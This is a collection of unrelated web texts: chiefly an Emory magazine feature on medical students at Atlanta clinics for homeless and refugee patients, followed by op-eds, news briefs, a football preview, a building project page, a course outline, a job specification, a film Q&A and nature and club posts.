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A Tale of Two Clinics
"I appreciate the candor of the patients here. Many have experienced significant struggles, but they're forthcoming about their backgrounds and troubles and willing to help us learn." –Emory medical student Camille Fonseca
Fifty-year-old Wilbur was just looking for a hot shower when he was directed to a health clinic off Pryor Street in Atlanta. But he also needed medication refills and to go back to work after a stroke.
"I'm out of all my stuff, man," Wilbur told Brian Pettitt-Schieber, an Emory medical student who works on Tuesday nights at this particular clinic, a partnership between Gateway Center and Mercy Care.
Located across from a bail bonds shop and a DUI classroom, the building has a 19-bed recuperative care unit upstairs, where Emory Saint Joseph's Hospital sends some of its homeless patients after discharge.
Wilbur had just claimed one of these 19 beds, planning to stay in the Gateway recuperative program for about a year. A couple of men in the recuperative program wander downstairs each day to visit the sliding scale clinic for prescription refills and non-urgent treatments; the clinic also takes walk-ins. On Tuesdays, the clinic gives Emory medical students the opportunity to interview, examine, and file prescriptions while under the guidance of Emory doctors.
The clinic's waiting room is empty in the evening, but men trickle in from the Gateway Center for after-hour appointments with Emory medical students and physicians.
The clinic is one of several in and around Atlanta staffed, at least in part, by Emory doctors, residents, and students. "The experience grants medical students practical experience while the patient exam is still overseen by licensed physicians, which is as it should be," says William Eley, executive associate dean of medical education and student affairs. associate dean of medical education and student affairs. Additionally, all Emory medical students now participate in a Community Learning and Social Medicine course.
"The ongoing commitment of many medical students and faculty to community engagement led to the creation and success of this curriculum," says course director Mary Jo Lechowicz, professor of hematology and medical oncology, who adds that they are moving away from terms like "volunteerism" and "service," which suggest a one-way street. "The clinic experience, like many others for students, is bi-directional."
The Art of Caring
One of the supervising Emory doctors at Gateway, Richard Hansen, gave Pettitt-Schieber and three other medical students a pep talk before sending them off to piece together narratives of the three male patients seeking help that night. "Paint the picture for me," Hansen said. "This is the art form you're going to be learning for the rest of your life."
In one of the two examination rooms, Pettitt-Schieber had started Wilbur's exam, asking him a series of questions and clarifying which refills he needed, since he reported his prescriptions had been stolen. As it turned out, Wilbur had a lot going on. He wanted his lungs to recover after a 30-year cigarette addiction; he wanted freedom from rashes, his walking cane, the extra weight he had been unable to lose.
"You're gonna be a good doctor," Wilbur told Pettitt-Schieber.
"You were my first patient," Pettitt-Schieber replied, smiling.
Hansen reviewed and completed Wilbur's physical examination. He pulled out a stethoscope, listened attentively to Wilbur's lungs, then turned to Pettitt-Schieber and Kareem Al-Mulki, another medical student, to discuss what had likely been the cause of his chest pain, which he had rated a three out of 10. It was accompanied by an audible wheezing. "Can you hear that?" Hansen asked Al-Mulki, who plans to be an ear, nose, and throat specialist. "That's where the pain's coming from, the tightness."
On another Tuesday, Ken was seen at Gateway clinic for symptoms of a cold. Assistant Professor of Family and Preventive Medicine Emily Herndon, a faculty adviser, reviewed diagnostic questions with the students before they entered the exam room: "How can you tell the difference between a cold and a sinus infection?" she asked. "What medications would you treat an infection with?"
Emory medical student Madeline Roorbach, who sees patients at Gateway, says the clinics are a good way to gain exposure to clinical medicine early, and an opportunity to work with disenfranchised populations in Atlanta. "Emory attracts students who are invested and engaged in serving those who would otherwise not be able to receive care," she says, "and we're lucky to have such great attending physicians who devote their time and expertise to help it all run."
At the Clarkston Community Health Center up to 100 patients are seen each Sunday on a first-come, first-served basis.
Refugee Care
Emory medical students also see patients at a primary care clinic in Clarkston, Georgia, "the most ethnically diverse square mile in America." Up to 100 patients are seen each Sunday on a first-come, first-serve basis. Emory medical alumna Gulshan Harjee 82M co-founded the Clarkston Community Health Center. "It was important for me to do this, being an immigrant myself, as a gift to society," says Harjee, an Ismaili Muslim originally from India.
"The value of the clinic is evident in the long queue that starts forming an hour before opening and the full waiting rooms," says Emory medical student Zayan Mahmooth. "Nearly all of those served are unable to afford services elsewhere and a significant proportion are refugees."
On this Sunday, among the crowd of patients is Nasir, who left India for the U.S. and has been a regular at the clinic for heart problems, teeth pain, and allergies.
Another is Jeanne, a mother who came to the U.S. several years ago to escape the war engulfing her home in the Congo, who is seeking help for severe ear pain. Neither has health insurance. Both were seen that afternoon by medical students who interview and evaluate the patients, then shadow doctors as they fill in gaps and complete physical examinations.
Direct patient care is only one part of the potential experience, however. Emory medical student Cricket Gullickson coordinates about 50 on-call language translators to help Clarkston patients who are not fluent English speakers. Among the most common languages the clinic hears are Arabic, Hindi, Amharic, and Burmese.
"The relief you see on patients' faces when they just walk into an exam room and find someone who can speak the same language, it gives them a sense of home," says Emory medical student Ariel Majidi.
She and Samuel Maidman, also a medical student at Emory, say they have learned their value as healers by working at the clinic, and have begun to understand how to identify with patients from different cultures. "There's something special about helping a community comprised of people who are pursing the American Dream to its fullest," says Maidman. "Many care for large families, work several jobs, and speak multiple languages. They're model citizens and it's an honor to be part of their journey."
"The meaning and inspiration gained from working with underserved populations helps prevent burnout and gives both students and faculty the energy to keep going," says cardiology fellow and Emory medical alumnus Heval Kelli. "Given the political division in our country right now, I think being out in the community is one of the ways to rejuvenate yourself, to unite people and to remember the true reason you are in medicine.
Clarkston Community Health Center has expanded since opening in 2015, and now offers specialty clinics such as dental, women's health, and mental health. At Emory's Harriet Tubman Women's Clinic, patients can get UTI tests, pregnancy tests, cervical exams, HIV tests, and a variety of shots.
Phil Polychroniou and Celia Foster, Emory medical students who cofounded the mental health clinic at the center in 2017, are trying to recruit more psychiatrists, psychologists, therapists, and social workers to see a backlog of some 250 patients. "There is a staggering need for mental health services here," Foster says. "Many of our patients don't have formal psychiatric diagnoses, but rather, have impaired mental health because of traumatic experiences before, during, and after migration to the U.S."
Despite the intensity, "medical students frequently say that when they leave Clarkston Community Health Center at the end of the work day, they are reminded of why they chose a career in medicine," says Mahmooth.
Salaam alaikum. Nay kaung lar. Seh lahm. Hello.
What's the most pressing challenge when providing medical care in one of the most diverse cities in the U.S.? Julia Schiff, an MD/MPH alumna, believes it is the ability to communicate with patients who speak dozens of different languages. As a student, she led a project to provide linguistically competent care to refugee patients at the Clarkston Community Health Center. The team, which consisted of students from Emory schools of medicine, public health, nursing, and business, started by conducting an assessment. They found that nearly half of the center's patients had unmet language needs. They determined which languages were most needed—Arabic, Burmese, Nepali, and Amharic—and translated printed materials, checklists, and chart stickers into those languages. They also updated the clinic's outdated telephone interpreter list, engaging new volunteer interpreters, and installing phones in exam rooms. Finally, they recruited people from the Clarkston community to be trained in medical interpreting. "We were able to provide appropriate interpretation services for many more patients, and we got good feedback from the clinic volunteers and staff," says Schiff.—Martha McKenzie


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Later that day, laying on my bed, staring at the ceiling, I could not stop thinking about the interaction with this saleswoman. She made me feel like there was something wrong with me and brought back thoughts of insecurity I had been fighting for so long. I was angry she had the power to make me feel bad. But then it came to me: She's just afraid. She is scared of being fat. It made me feel bad for her.
As someone who identifies as being a fat, curvy, tall person, I have been fighting my internalized fatphobia for as long as I can remember. I spent so much time trying to be smaller because I believed if I was smaller, I would be happy and love myself. But the truth is no diet, workout plan or change in weight has ever made me happier than when I stopped fighting and started accepting myself. My mindset did not change all at once, but over time I have had a fundamental shift in the way I see my body and the other bodies around me.
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BLM march showed true power campus community has
Sam Tapper – Managing Editor
Last Wednesday, Sept. 30, the highly anticipated Black Lives Matter March happened on-campus, origanized by Camryn Arpino-Brown, a senior, of which I had the opportunity to attend. I have multiple takeaways, but above all, the event showed the true voice our generation of students has.
The world is a bleak place right now, especially in the United States. From the virus that continues to infect people, to all the instances of racial injustice that have happened in just the last few months, let alone the entire history of our nation.
With all that in mind, it would be an easy thing for this generation of young adults to just take a knee and run out the clock until better days arrive. But on this campus, students not only refuse to be complacent, but they refuse to let their voices go unheard.
This rally was exactly the kind of event that instills hope on numerous levels. While much of the subject matter discussed was tough, and the stories from students and their experiences with injustice or racial profiling was downright sickening, there was still a sense of hope present.
Even during a global health crisis where large gatherings are prohibited, students took it upon themselves to approach the administration and hold this event. While having masks on and blocking most of their faces, voices were still heard loud and clear on this day.
The march, in my opinion, was a textbook example for what this university prides itself on. Social justice is not only about acknowledging what is wrong with the system, but also making the effort to educate people on why it is wrong, and what needs to change as a result.
I cannot help but wonder how this event would have played out in a world where COVID-19 was not a factor. Even now, the rally had a turnout of roughly a few hundred people, the largest gathering I have seen in-person since March.
In short, I applaud the job done by all students in the execution of this event. I applaud those students who took it upon themselves to propose and coordinate the rally. I applaud the administration for sharing their thoughts on the matter, like President Joe Bertolino and his comments about his son, Joel.
Most of all, I applaud the students who attended. There was no joking around, no horseplay, no games being played. It was taken seriously, and that is crucial. This generation of young people will be catalysts in the form of a national change. And to make a change on a national level, first you must advocate for change in your own community.
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Ex-student in webcam case explains lack of apology
Staff Writer
The Leader
The former Rutgers student sentenced this week to 30 days in jail for using a webcam to view his roommate kissing another man says he did not apologize largely because it would have been seen as insincere.
Dharun Ravi told The Star-Ledger in an interview conducted before Monday's sentencing, but published after it, that anything he would say "would sound rehearsed and empty."
He did not address the judge when he was sentenced, and the judge criticized his lack of apology.
The case rose to prominence because the roommate, Tyler Clementi, committed suicide days after the September 2010 spying.
During the sentencing, Clementi's brother James said that hearing an apology this late from Ravi would not be meaningful to him.


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Fortunately quite a few people are making time for this important subject. Raising awareness.
Before you click off thinking; "I've heard this before / I know this already" consider the following;
- If you have not suffered from a mental health issue you're in the minority
2. More people die from mental health influenced factors than anything else
3. There is today more depression in the western hemisphere than ever before and our answer is to medicate using medication that is poorly proven to resolve depression and was only ever meant as a temporary solution, with therapy a rare and restricted 'luxury'
4. We are cutting back so many mental health resources we now have less than we did in 1970, yes that means we're going backwards not forward
5. Whilst some mental health issues are better known and understood today than 40 years ago, the terrible truth is … they are judged just as much as they were before people knew more about them and those who suffer from mental illness are often pushed to breaking-point by others who see mental-illnesses as a "choice" even by carelessly chosen words.
Words like – Depression is looking back / anxiety is looking forward / wellness is in the present.
People may say things like 'snap out of it' and be well meaning even but imagine saying that to someone who has cancer?
The implied condemnation / judgement / criticism or just put-down in many 'helpful' comments furthers the progression of the disease.
Ultimately mental health is seen as a sign of character. If you are mentally ill you have a weak character. If you are not mentally ill you have a strong character. Follow the progression of that.
Strength does not come into whether someone is mentally ill or not, any more than if someone has breast cancer. But like blaming a smoker for their lung cancer, most people see mental illness as something that someone can change 'if they just tried' and more of a character flaw, a negativity, a bad attitude, than a crippling, life-reducing disease.
Still think we don't need to talk about mental illness?


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USM looks to buck trend vs. Marshall
Marshall has had Southern Miss' number for a half-decade.
The Thundering Herd, currently on a five-game winning streak in the series, have outscored the Golden Eagles 240-84 since 2010. Three of Marshall's last five wins versus Southern Miss came during a stretch (2012-14) when the Black and Gold were a combined 4-32.
A blip on the radar screen, says Herd football coach Doc Holliday.
"We have had the opportunity to play against them for the last five years, and we have played well against them," he said. "(But) they are back to being Southern Miss. They have the top offense and defense in (Conference USA). We have a great challenge ahead of us."
Southern Miss (4-3, 2-1 in C-USA) hosts Marshall (2-5, 1-2) at 6 p.m. Saturday at M.M. Roberts Stadium in Hattiesburg. The Golden Eagles' homecoming game will be broadcast on FOX23 (Comcast channel 434 in Hattiesburg area).
The Herd, which won a combined 33 games from 2013-15, come into the contest sporting a proverbial limp. Holliday's club has lost five of its last six games, the win a 27-21 decision over lowly Florida Atlantic (1-6) in Huntington, West Virginia. That's also the lone win for the Herd this season over an FBS opponent.
Marshall is 88th in the country in total offense (at 385.4 yards per game), 113th in total defense (giving up 468 yards per game) and dead last in the nation in penalty yards per game (91).
"Marshall is a pretty balanced football team but they throw it well, have talented wide receivers," said Southern Miss coach Jay Hopson. "The quarterback (Chase Litton) can throw the ball extremely well. They run the ball.
"They are an aggressive defense. They have our utmost respect."
The Golden Eagles are coming off a bye week and lost back-to-back games before that in which they gave up a combined 100 points. Holliday isn't expecting that trend to continue.
"I thought they were back a year ago when they won the West (Division)," he said. "They have most of those players back this year and have an excellent football team."


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Ericsson Research Centre – Budapest
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general design: László Szerdahelyi | Aspectus Architect Zrt. and Máté Nagy | Lisys-Project Kft.
our partner in luminaire manufacturing: Máté Nagy | Lisys-Project Kft.
client: WEPMARK HOLDING Kft.
developer: Wing Zrt.
building electricity design: Ferenc Kelemen | Kelevill Bt.
general contractor: STRABAG Property and Facility Services Zrt.
technical specifications of the luminaire: size 3,6 x 3,6 m | output 1800W LED I lumen 18000lm | the custom-made aluminium framework was created by our company
Ericsson's new home in Hungary was built on the bank of the Danube, as part of the first phase of the Hungarian Nobel Prize Winners Research and Development Park. The building (with a floor space of 24,000 sq. m. in total) is the home of the company's largest R&D Centre outside Sweden. The building – one of Hungary's cutting-edge and most innovative headquarters – was constructed in accordance with the stringent requirements of the LEED Gold environmental awareness rating.
The six-storey building was specifically tailored and constructed to suit the needs of the client. In terms of mass formation, function, as well as professional architectural solutions, it perfectly fits in the atmosphere of the surrounding environment. The facility will have 540 parking spaces and 250 parking installations for bicycles, occupying four levels under the building.
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It will be the first building of the Hungarian Nobel Prize Winners Research and Development Park where the developments of WING will be specifically tailored to meet the needs of R&D companies. The new Ericsson House of 24,000 sq. m., built on the bank of the Danube is the company's largest R&D Centre outside Sweden, where – in addition to offices – one of Hungary's most advanced and largest server rooms is to be installed, together with the related R&D labs. The six-storey building is "built-to-suit", meaning that it is constructed to meet the needs of the client (Ericsson). The facility will have 540 parking spaces and 250 parking installations for bicycles, occupying four levels under the building. Works are anticipated to be finished by the end of 2017, and once handed over, the headquarters will accommodate approximately 1,800 employees.
In his speech Noah Steinberg emphasized that it is essential for international companies operating here to have access to proper infrastructure (including office buildings), so that Hungary's national economy can be competitive on the international arena and Hungarian workforce can reach its potential. According to him, the value of the investment is approximately EUR 20 billion.
Gábor Éry noted that this year they were celebrating the 25th anniversary of establishing Ericsson Hungary. The construction of the Ericsson Building was an important milestone for them; its design started three and a half years ago when all their attempts to find a suitable building for the company – among either already realized or planned developments – failed, prompting them to opt for the "built-to-suit" model. He also expressed his hope that the new building will enhance closer cooperation among various divisions of the company.
The building was designed by WING's subsidiary Aspectus Architect, and the general contractor was Strabag Hungary. The investment is funded by a joint venture of banks such as Unicredit Bank Hungary, Unicredit Bank Austria and K&H Bank. The first phase will be followed by the development of a similar building in the second phase, closer to the Rákóczi Bridge on the plot. The design and preparatory works of the latter are already being implemented.
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Semester 2 2017 Studio 15
Machining Aesthetics Studio
Paul Loh, David Leggett & Daniel Prohasky
'Technology is the answer - but what was the question?'
Cedric Price
Studio Outline:
Studio 15 continues to question the future of making. This semester, we will examine digital fabrication and assembly of architectural envelope through its construction, manufacturing procedure and assembly protocols. Before we speculate, we will explore making at 1:1 scale through technology. We are interested in the perpetual ability of machine as system to generate iterative material output from which as architects, we can abstract and interpret as architectural envelopes; cladding, door, window, wall and roof. We invite you to radically re-imagine the fundamental language of architectural components.
This semester, we ask: How can technology facilitate social and climatic interaction of architectural envelope? Studio 15 will design an envelope to re-clad an existing building to explore social, cultural and its economic functionality. Working in teams, students will design an architectural intervention that has potential to be environmentally and socially responsive. Successful projects will develop strategies to deal with dynamic changes of events through material and/or technological media as well as articulating the relationship between ground and envelope.
Studio Leaders
PAUL LOH studied architecture at the University of Melbourne, the University of East London and the Architectural Association, UK. He is a registered Architect in the UK with over 15 year of experience in Australia, Malaysia and the UK. He is a founding partner of LLDS / Power to Make. Paul's drawings and art objects have also being exhibited and represented at the Royal Academy, London as well as the London Design Festival and Frieze Art Fair, London. Paul has extensive research and expertise in digital design, craft and fabrication. He has taught at the Architectural Association and University of East London. Paul is Lecturer in Digital Architecture Design at the University of Melbourne and PhD Candidate at SIAL, RMIT.
DAVID LEGGETT is a registered architect in Victoria and in the UK. He studied architecture at the University of East London and the University of Westminster. He worked with Edward Cullinan Architects as Director for a period of over 10 years before establishing LLDS / Power to Make in 2011. His built projects have been widely published internationally. David has expertise in construction detailing, fabrication and assembly.
DANIEL PROHASKY is a PhD candidate in Aerospace Engineering/Architecture at SIAL RMIT – investigating the multimodal sensory fusion of the thermal environment, our thermoregulatory system and how we perceive our thermal state. Parallel focus in: advancements in construction technologies, digital fabrication, physical environmental sensing and experimentation, parametric algorithm development in: structures, thermal, daylighting simulations.
Learning Outcomes:
The studio is divided in two phases. The studio will commence with a series of intensive tooling workshops on Arduino and electronics. Phase 1 brief is to design a machine that fabricates or digitally assembles architecture. We will explore through precedent study as well as digital input and output procedures to design and make a machine (quasi or actual) that has potential to fabricate or assemble architectural components (parts or whole). This research will start to formulate your understanding building envelope in dealing with social, cultural and environmental concerns. By mid-semester, design teams will present their proposals of a prototypical cladding system.
In Phase 2, we will put your machine and/or digital assembly to the test. Working in teams, students will design a new facade envelop for The Nicholas Building on the corner of Swanston and Flinders Lane. Successful envelope designs will demonstrate environmental and social responsiveness using your fabricated parts or assembly methodology.
Physical models, axonometric drawings, plans, elevations and sections together with rendered images will be key deliverables. Each student will also submit their individual journal documenting and reflecting their design process. This studio requires students to be able to use Rhino and have a basic understanding of Grasshopper. Teamwork is compulsory and collaborative design will form part of studio assessment.
Reading and Reference:
Readings for our first day seminar is available on the studio blog site: http://powertomake.tumblr.com
Reading 2: Reichel, A.: 2011, Technology as system: towards an autopoietic theory of technology, Int. J. Innovation and Sustainable Development, Vol. 5, pp 105-118, Nos. 2/3
ST1/15 Monday 5:15pm - 8:15pm, MSD Room 448
ST2/15 Thursday 5:15pm - 8:15pm, MSD Room 448


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State of Washington Classified Job Specification
Typical Work
Repairs fixtures in shop by refacing, repacking, and re seating valves, cutting and threading pipe, bending pipe, replacing pump bushings and washers, and testing valves and other pressure equipment;
Inspects water mains, fixtures, sewer lines, valves, and septic tanks to determine need for maintenance and repair;
Cleans, maintains, and repairs power and hand tools; Estimates materials and time needed to complete jobs; May direct and instruct helpers, patients or inmates; Performs other work as required.
Installs, inspects, maintains and repairs steam and heating systems and such equipment as boilers, radiators, oil burners, pumps, traps, valves, and laundry and kitchen equipment;
Repairs and replaces pipe and pipe coverings; welds and threads pipe;
Performs shop work such as disassembling valves and equipment, replacing worn parts, and reassembling and testing equipment;
Cleans, maintains and repairs tools and equipment;
Estimates materials and time needed to complete jobs;
May direct and instruct helpers, patients or inmates;
Knowledge and Abilities
Knowledge of: standard practices, methods, materials, tools, and equipment of plumbing and/or steamfitting trades; kinds, uses, and qualities of fixtures; safety precautions. Operation and maintenance of steam power plant machinery; fluid and gas systems; boiler laws; safety precautions.
Ability to: work from blueprints, plans, and sketches; estimate materials and time needed to complete jobs; use hand and power tools.
Legal Requirement(s)
Desirable Qualifications
Journey‑level standing as a plumber or steam fitter as attested by:
a. Completion of recognized apprenticeship in plumbing or steamfitting.
b. Full journey‑level status in Plumbers and Pipefitters' Union.
c. Four years of experience in State service as full‑time helper to a journey‑level plumber or steamfitter.
Some positions may require a valid motor vehicle driver's license.
Note: Some positions will be required to obtain and maintain a Water Distribution Manager Certificate of Competency and/or Water Treatment Plant Operator Certificate of Competency issued by the Department of Health. These certificates are required by the Safe Drinking Water Act of December 1974, effective January 1, 1978.
Class Specification History
New class consolidates 5425 Plumber/Pipefitter/Steamfitter, 70200 Plumber, 70250 Steamfitter; adopted May 10, 2007, effective July 1, 2007


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Okay, I am officially heading into some Christmas cheer now, peeps. Two days off work will do that for you, I s'pose. I needed those days off, too. I cannot wait – cannot wait – until I am a self-employed WooWoo chick! Those days are fast approaching and I think it will help with the random bouts of grumpassness I've been prone to for many years.
Today we'll be heading out to Cousin O'Cool's house for lasagna, babyholding, family time and *presents* – YEY! Tomorrow, it's the other side of the family with Sister-in-law O'Love's breakfast buffet (and they's some goooood eats!) and other fun events. Duty's family, being of German descent and so very, very different from my Italian one, don't care if you stay for just ten minutes. My family? You'd get your ass whooped if you stayed less than four hours. No lie. Ask any of the cousins who occasionally read this blog but rarely comment (cough*allofthem*cough).
BTW, thank you all for the supportive comments on my other post. (Jody, yours made me laugh out loud.) Duty and I talked about it all later (he even initiated the conversation) and got clearer about what it was all about. He still doesn't get me as much as I want someone (ANYONE) to get me but I think we both understood where the other was coming from.
Enjoy your holiday, kids!


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Amid the energy crisis in Texas, a former Raven and Ravens pending free agent have stepped in to help.
Quarterback Robert Griffin III donated 10,500 meals to the Houston Food Bank and another 10,500 meals to the North Texas Food Bank. Cornerback Pierre Desir also donated 10,000 meals to the Houston Food Bank. That's 31,000 meals total.
Griffin grew up in Texas and played college football at Baylor. The 2011 Heisman Trophy winner encouraged others to help and donate as millions of residents are still without power and water.
Desir, a two-time Walter Payton Man of the Year nominee, doesn't have any ties to Houston, but wanted to help because "it was the right thing to do."


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- Introduction to the Python programming language
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Here is a list of tools you will need in the workshop:
- A python installation (make sure it is version 3)
There are several ways to install these.
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Kicking off my coverage of deadCenter 2020 with a filmmaker Q&A session with the team behind the offbeat comedy and family drama, She's The Eldest. Making its world premiere at deadCenter, this feature film follows three eccentric siblings as they return to their childhood home to reconnect but end up digging up the past of their parents' mysterious disappearances.
1. Tell me a bit about yourself and your role in the film.
Cate Jones: Writer and Director and I played Leanne's sister Polly.
Beth Alonso: I am an executive producer and my company, Betmar-Heliand Productions, is one of the film's production companies (along with Freestyle Creative). I also have a tiny acting role in She's the Eldest (blink, and you'll miss me). In 2012, I discovered and thoroughly enjoyed some locally written and produced independent films. I met some of the local filmmakers, was impressed by their creativity, and decided to help with financing some projects. It has been a wickedly good ride ever since.
Alex Palmer: My name is Alex Palmer and I am one of the producers for She's The Eldest. I am also the president of the Oklahoma Film Society and an attorney.
Kelley Gann: I'm Kelley Gann — president at Freestyle Creative and a local film producer. I was thrilled to work with Cate and the team as a producer for "She's the Eldest."
Jacob Burns: I'm a filmmaker in OKC, been working in film for almost ten years on projects of all shapes and sizes. For She's the Eldest, I was fortunate enough to be the cinematographer on this awesome film.
Holli Taylor: I'm a jackass of all trades generally, which came in handy for this film because although my official role was assistant director, I also ended up filling many other roles on set, even to the point of being a few different characters in the film which was a blast.
Mary Buss: I'm Mary Buss. I play Leanne Bradbury in She's the Eldest.
Mickey Reece: My name is Mickey and I play Jamie, a hot shot lawyer who becomes HIV positive and files a suit against his own firm, after he is fired over his illness and lifestyle choices.
Kyle Penington: My name is Kyle Penington and I am from Oklahoma City. I play the role of Sean.
Alex Sanchez: My name is Alex Sanchez, I play the would-be love interest. He's very laid-back and incredibly handsome.
2. How do you personally describe the movie to people?
Kelley: She's the Eldest is a homegrown indie drama featuring an all Oklahoma cast and crew. Equal parts offbeat comedy and family drama, the film follows three eccentric siblings who return to their childhood home to reconnect but end up digging up the past of their parents' mysterious disappearances. It's written and directed from a female perspective — exploring a woman's need for her own creative outlet, motherhood, and our tendency to sacrifice ourselves to nurture others
3. Why should one see it?
Mary Buss: Families are messy. Messes are tragic and funny. Anyone with a family can relate. Eldest is a nod toward the real repercussions of neglect, abandonment and generational trauma. Skeletons from the past reverberate in each of the Bradbury children's lives. Leanne, Jamie and Polly cope with their emotional wounds differently, yet are drawn to each other when crisis arises. They are compelled to cobble together family identity, however dysfunctional. In the trenches of trauma they share love, humor, brokenness, ghosts, anger, acceptance, survival and the will to keep walking.
4. What are your thoughts on the deadCenter Film Festival?
Beth: The festival is an amazing opportunity to see independent films plus an array of short films and documentaries, both foreign and domestic. It also provides opportunities for filmmakers and those interested in films to connect and learn. This year's virtual presentation changes some former aspects of the festival, but the fundamentals persist with the ability to access panels and films. It remains a first rate experience.
5. What was the most challenging aspect you had during production?
Kyle Penington: Being a part of this film was a pleasure. Not challenging. I had worked with Cate Jones on another project and was happy just to be on set. The rest of the cast was made up of people I have always wanted to work with.
6. What was the best part about filming in Oklahoma?
Alex Palmer: The best thing about filming in Oklahoma is the local film crews. People are so giving of their time to help on local films, that even micro-budget films, like She's The Eldest, don't look so micro once it's on screen. Our crew went above and beyond to help make She's The Eldest the best film possible, and I'm sure every producer in Oklahoma would echo that sentiment.
7. What were some particular scenes or locations that were enjoyable to film?
Jacob Burns: I really loved the scene where all three siblings are together on screen for the first time. It's a fairly simple scene from a camera perspective, but getting a front-row seat to watch Mary, Cate, and Mickey bring those characters alive was so much fun. Also, I loved shooting the movie within the movie, Corgis 2, because I got to hang out with a bunch of Corgis!
8. What do you do to recharge your creative batteries?
Alex Sanchez: When I'm creatively burned out I like to play a really in-depth, almost boring video game. It helps my right brain relax while my left brain takes over.
9. What do you think should be placed as a marker for the dead center of the universe?
Cate: A melting pot that says "All ingredients welcome. Only quality combos served."
10. Anything else you wish to add or share?
Holli: I'm so insanely honored to be a part of this project and excited for more to come!
The 2020 deadCenter Film Festivals runs from June 11-21. Read more Question and Answer sessions with other deadCenter filmmakers, past and present, here.


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Different clinics offer various levels of treatment. Levels include outpatient, intensive outpatient (IOP), residential support, and partial hospitalization (PHP). Due to C19, many programs are now offering online therapy (tele-therapy) so you can get support from the comfort of your home.
Please click on each blue title in order to guide you to its specific resource.
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Every year gets a little greener at Hodges Pond just south of Woodstock, Ont. The restored former millpond supports the recovery of a small tributary of the Thames River, which ultimately flows into Lake St. Clair and then Lake Erie. That's the long reach of restoration at work on the landscape!
This picture of Hodges Pond has been colour-adjusted to show how the vegetation has popped up early in the season in this thriving new habitat. Looks messy, doesn't it? But the wildlife like it like that.
We have a big green sign on the south side of Hwy 401 in Woodstock, too, where you can see a community habitat project taking shape beside the highway.
When field season begins, our biologists are happy to head out to work in the wetlands and forests of Ontario. We asked DUC staff to share pictures of their favourite spring blooms.
Wild flowers in spring make wild bees happy too. Did you know that eight wild bee species are identified for protection in the list of Canada's species at risk? There are many things you can do to help them.
- Print or download this poster for some real ways to help wild bees in your daily life
- Help bees find food and shelter with a beautiful native plant garden
Can you relate to this turtle basking in the spring sunshine? We spotted this handsome Blanding's turtle enjoying the recently restored habitat on Howe Island near Kingston. Turtles may be slow but they travel surprisingly long distances between habitats to find a mate or a place to nest. Give slow-moving turtles some space when your paths cross on trails, roads or waterways.
- Print or download this poster for some real ways to help wild turtles in your daily life
Sunny skies above Atocas Bay on the Ottawa River bring perfect weather for nesting waterfowl pairs to refuel after their long migration journey. It's the season of love and we startled this pair of blue-winged teals from their protein-packed picnic in the country. Small ponds provide the invertebrates that teal hens crave when getting ready to nest. Soon, the hen will settle in with her eggs and there will be ducklings.
Atocas Bay contains a 2,000-acre (780-hectare) property purchased in the early 2000s by DUC and its partners. Through major wetland restoration efforts, DUC brought more than 200 wetland basins back to life.
- Read this story to learn how DUC saved Atocas Bay for future generations
- Read this story about a single donor who punched way above her weight in conservation impact
The sunset symphonies at the pond start early in spring. The first callers are wood frogs and spring peepers.
Can you hear the different creatures calling in this early spring evening chorus?
Watch and listen to the evening chorus >>
Urban sap tapping, you say? This spring brought out the homesteader in many of us. Even tapping one tree can be enough for a small batch boiled up in your own kitchen.
Parker's journey to Wetland Hero took place last year when, like many kids, he found himself learning from home. Read about this inspiring Wetland Hero >>
So cute you want to feed them, don't you? Let the mother hen work her magic instead!
Wild foods are best for wild ducklings, plus hand-fed birds can get into trouble with pets and other hazards.
Read this story about the life journeys of duck families in spring.
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Due to the way dates fall in the early part of next year we're able to have our first competition of 2019 as "Christmas" and still be within the 12 Days of Christmas.
In order to encourage everyone to shoot images specifically for this competition and to avoid a rush to get prints made we'll only being having Projected images, however that means that you'll be allowed 3 entries for this competition, rather than the normal 2.
Our judge for the evening Colin Southgate FRPS DPAGB is such a welcomed and regular visitor to Hitchin Camera Club, he really needs no introduction at all suffice as to say we know he'll give some great feedback on our images.
If you'd like to learn more about competitions have a look at the different articles under the Club Competitions menu above, or click here for the definition.
Don't forget
For this competition only we will allow an extra couple of days to get your images in, however they must be in by midnight on Tuesday 1st January.


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The Urban Conservationist
There is nature in our backyards and our parks; even the green strips running down big avenues like Broadway in New York City contain natural value. By recognizing that we can connect people to nature—and nature to people.
Heading out the door? Read this article on the new Outside+ app available now on iOS devices for members! Download the app.
I am an unabashed city kid. I grew up in Washington, D.C., where urban parks—no matter how small—were my nature. That is why my column is called "Urban Conservationist." It sounds like an oxymoron: Urban centers are beyond conservation, right? Wrong. Urban conservationists are exactly what the world needs. Lots of urban conservationists. Billions of urban conservationists.
When I began working for The Nature Conservancy after graduate school, I had the opportunity to see some wondrous places through my work—the Amazon rainforest, the high peaks of the Andes, the grasslands of the Mongolian steppe, the reefs of the Caribbean and the majestic forests and prairies of the Rocky Mountain West.
But now I am living in New York City and I am, once again, a city kid. And as a conservationists, I couldn't be more thrilled.
I believe cities are civilization's greatest invention to address the conservation challenges of our time. Scientists project that global population will reach nine, perhaps 10 billion people this century. Two thirds to three quarters of the world's population will live in cities. That means that by 2100 there will be nearly as many people living in cities as there are people on Earth today.
Cities are where we are most innovative, most diverse, most egalitarian. In cities our children get better educations, and out communities live more sustainably. Cities have the most efficient energy and transportation systems, smaller carbon footprints, more expansive recycling programs, and the opportunity—nay the imperative—to provide clean air and clean water for billions of people.
And our cities have nature. New York City has more kinds of plants and animals than Yellowstone National Park. While Yellowstone may have bison, wolves, elk and grizzlies, New York City has humpback whales, sharks, seals, world-class migratory bird sites, species found nowhere else, and the fastest animal on earth—the peregrine falcon.
Urban conservation is about harnessing the potential of our greatest invention, the modern city, and using it to connect urban people to nature. That might mean wild nature, rural nature, or suburban nature, but it can and should also mean urban nature. There is nature right here in our backyards and our parks; even the green strips running down big avenues like Broadway contain natural value. By harnessing this potential we connect people to nature—and nature to people. In doing so, we will conserve the lands and water on which all life depends.
The Nature Conservancy has been around for more than 60 years, working in places like the Amazon, the Coral Triangle and the Adirondacks. We've intentionally steered clear of cities. That won't work for us anymore. It's time we became urban conservationists. It's time we all became urban conservationists.
This column was originally published in Origin magazine.


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The Power (or Impotence) of Predictions
"44% of people desire to return to events as soon as possible."
"49% of consumers say they will think twice about returning to events once stay-at-home orders are lifted."
"60.6% of respondents say events and gatherings will be more important than ever."
You get the point.
As marketers, we claim to love data. But, do we really know what data can be trusted, or are most data points clouded with bias?
As an experiential strategist, I can tell you honestly: I love surveys. From building smarter CRM intake forms to tracking and measuring shifts in consumer opinion pre-/post- engagement, a well-designed survey leads to well-designed marketing.
Therein lies the rub.
Well-designed. Unbiased. Inclusive.
